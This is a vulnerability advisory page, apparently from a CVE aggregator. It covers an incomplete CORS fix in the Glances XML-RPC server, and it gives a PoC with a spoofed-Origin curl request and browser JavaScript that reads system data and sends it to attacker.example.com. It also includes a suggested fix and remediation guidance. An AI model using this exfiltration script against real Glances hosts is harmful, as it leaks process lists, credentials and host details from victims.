Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Network-reachable and unauthenticated, but AC:H because exploitation needs a non-default multi-origin config and victim browser routing; UI:R, scope-changed, confidentiality-only.
Primary rating from Vendor (https://github.com/nicolargo/glances).
CVSS VectorVendor: https://github.com/nicolargo/glances
Lifecycle Timeline
3DescriptionCVE.org
Summary
The Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard - the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge.
---
Details
Affected file: glances/server.py, class GlancesXMLRPCServer, line 113
Direct URL (commit 04579778e733d705898a169e049dc84772c852da):
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113
# server.py (GlancesXMLRPCServer.__init__)
cors_origins = self.args.cors_origins
# list from config / CLI
# Line 113 - the incomplete fix:
self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'
# ^^^
# Any allowlist with 2+ entries collapses to the wildcardThe cors_origin value is then echoed back as the Access-Control-Allow-Origin response header for every request (line ~147 in the same file):
self.send_header('Access-Control-Allow-Origin', self.cors_origin)This means the CORS header is determined once at server startup and never compared against the actual Origin header sent by the browser. Even if an operator sets:
# glances.conf
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.comthe server responds with Access-Control-Allow-Origin: * to every request, including those from https://attacker.example.com.
Single-origin wildcard (the default, cors_origins = *) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
Test results:
| Origin sent | ACAO header returned | Expected |
|---|---|---|
http://evil.example.com | * | No header |
https://dashboard.corp | * | Reflected |
https://grafana.corp | * | Reflected |
---
PoC
Special configuration required
The multi-origin collapse is only triggered when cors_origins contains two or more entries. Create the following glances.conf:
# /tmp/glances_multiorigin.conf
[global]
check_update = false
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.comStep 1 - Start the XML-RPC server using the config above
glances -s -p 61209 -C /tmp/glances_multiorigin.confStep 2 - Send a CORS simple request from a foreign origin
curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \
-H "Content-Type: text/plain" \
-H "Origin: http://evil.example.com" \
-d '<?xml version="1.0"?>
<methodCall><methodName>getAllPlugins</methodName></methodCall>'Expected (secure) response:
HTTP/1.0 400 Bad Requestor no Access-Control-Allow-Origin header.
Actual response:
HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
...
<?xml version='1.0'?>
<methodResponse>
<params><param><value><array><data>
<value><string>cpu</string></value>
<value><string>mem</string></value>
...
</data></array></value></param></params>
</methodResponse>Step 3 - Demonstrate the code-level collapse to wildcard
import sys
sys.path.insert(0, '/path/to/glances')
# adjust to local clone
from glances.config import Config
c = Config('/tmp/glances_multiorigin.conf')
cors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])
# Reproduces server.py line 113:
result = cors_list[0] if len(cors_list) == 1 else '*'
print('cors_origins config :', cors_list)
print('cors_origin applied :', result)
print('Is wildcard? :', result == '*')
# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']
# cors_origin applied : *
# Is wildcard? : TrueBrowser-based exploitation
Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:
// Runs in a page on http://evil.example.com
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
fetch('http://GLANCES_HOST:61209/RPC2', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: payload,
})
.then(r => r.text())
.then(data => {
// 'data' contains hostname, OS, full process list, network interfaces, etc.
fetch('https://attacker.example.com/collect?d=' + btoa(data));
});This works as a CORS "simple request" (POST + text/plain) - no CORS preflight is triggered and the * wildcard allows the browser to read the response.
---
Impact
Vulnerability type: CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)
Who is impacted: Any operator who:
- Runs Glances in XML-RPC server mode (
glances -s), *and* - Has configured two or more
cors_originsentries inglances.confbelieving
they are restricting browser access.
Operators using the default single-wildcard configuration (cors_origins = *, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin.
Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.
Impact:
- Confidentiality: High - complete system monitoring data readable by any browser page.
- Integrity: None - read-only API.
- Availability: None - no denial-of-service component.
---
Suggested Fix
Implement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's CORSMiddleware):
# server.py - replace the single static self.cors_origin field with:
def _get_acao_header(self, request_origin: str) -> str | None:
"""Return the correct Access-Control-Allow-Origin value or None."""
if not self.cors_origins or '*' in self.cors_origins:
return '*'
if request_origin in self.cors_origins:
return request_origin
return None
# do not send the header for unlisted origins
# In do_POST / send_response:
origin = self.headers.get('Origin', '')
acao = self._get_acao_header(origin)
if acao:
self.send_header('Access-Control-Allow-Origin', acao)
self.send_header('Vary', 'Origin')Additionally, consider retiring the legacy XML-RPC server in favour of the REST API (glances -w), which uses Starlette's CORSMiddleware correctly, and document the deprecation path.
---
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
---
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
---
Articles & Coverage 2
AnalysisAI
Cross-origin data exposure in Glances XML-RPC server (versions 4.5.3 through 4.5.4) allows any malicious web page to read full system monitoring data from a victim's browser because the CORS allowlist silently collapses to 'Access-Control-Allow-Origin: *' whenever two or more origins are configured. This is an incomplete fix for CVE-2026-33533: the CORS header is computed once at startup and never validated against the request's Origin. Publicly available exploit code exists in the GHSA advisory, but there is no public exploit identified at time of analysis as actively exploited.
Technical ContextAI
Glances is a popular Python-based cross-platform system monitoring tool (pkg:pip/glances) that exposes an XML-RPC interface via 'glances -s' on port 61209 by default. The flaw lives in glances/server.py at line 113 of class GlancesXMLRPCServer, where the assignment 'self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else "*"' degrades any multi-entry allowlist into a wildcard. The single static value is then emitted as the Access-Control-Allow-Origin header for every response with no comparison against the incoming Origin header, violating the W3C CORS specification. The root cause is CWE-942 (Permissive Cross-domain Policy with Untrusted Domains) - labeled CWE-183 in NVD data but functionally a CORS allowlist bypass - and because POST + Content-Type: text/plain qualifies as a CORS 'simple request', no preflight is triggered to surface the misconfiguration.
RemediationAI
Vendor-released patch: upgrade Glances to 4.5.5 or later (https://github.com/nicolargo/glances/releases/tag/v4.5.5), which the 4.5.5 release notes explicitly list as correcting CVE-2026-46608 alongside several other XML-RPC security fixes. If immediate upgrade is not possible, do not run 'glances -s' on networks reachable from user browsers and bind it to localhost or a management-only interface; alternatively switch to the REST web UI ('glances -w') which uses Starlette's CORSMiddleware correctly. As an interim hardening measure, configure exactly one non-wildcard origin in [outputs] cors_origins so the buggy branch is avoided, with the trade-off that you lose multi-dashboard support; or front Glances with a reverse proxy that strips/rewrites the Access-Control-Allow-Origin header and validates Origin per request. Firewalling TCP/61209 to trusted hosts removes browser-side exposure entirely but breaks legitimate remote dashboards.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-183 – Permissive List of Allowed Inputs
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39522
GHSA-87qc-fj39-wccr